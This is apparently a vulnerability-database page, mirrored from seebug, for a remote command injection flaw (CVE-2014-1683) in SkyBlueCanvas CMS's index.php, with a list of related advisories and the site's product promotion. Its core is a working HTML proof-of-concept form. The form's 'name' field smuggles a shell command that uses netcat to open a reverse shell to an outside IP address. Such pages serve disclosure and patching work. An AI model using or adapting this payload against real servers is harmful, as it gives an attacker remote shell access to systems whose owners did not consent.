Lucene search
K

Iconify SkyBlueCanvas‘index.php’远程命令注入漏洞

🗓️ 07 Feb 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 44 Views

Remote command injection in SkyBlueCanvas'index.php

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SkyBlueCanvas CMS Remote Code Execution Exploit
4 Feb 201400:00
zdt
Circl
CVE-2014-1683
24 Jan 201400:00
circl
Check Point Advisories
SkyBlueCanvas CMS Remote Command Execution (CVE-2014-1683)
23 Mar 201400:00
checkpoint_advisories
CVE
CVE-2014-1683
29 Jan 201418:00
cve
Cvelist
CVE-2014-1683
29 Jan 201418:00
cvelist
Dsquare
Skybluecanvas 1.1 RCE
30 Aug 201400:00
dsquare
Exploit DB
Skybluecanvas CMS - Remote Code Execution (Metasploit)
5 Feb 201400:00
exploitdb
Metasploit
SkyBlueCanvas CMS Remote Code Execution
31 Jan 201415:18
metasploit
NVD
CVE-2014-1683
29 Jan 201418:55
nvd
Packet Storm
SkyBlueCanvas CMS Remote Code Execution
1 Feb 201400:00
packetstorm
Rows per page

                                                <html>
<body>
<form action="http://localhost/index.php?pid=4"; method="post">
  <input type="hidden" name="cid" value="3">
  <input type="hidden" name="name" value="test"&#59; nc -e /bin/sh 192.168.1.2 12345">
  <input type="hidden" name="email" value="test">
  <input type="hidden" name="subject" value="test">
  <input type="hidden" name="message" value="test">
  <input type="hidden" name="action" value="Send">
  <input type="submit" value="submit">
</form>
</body>
</html>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Feb 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.77837
44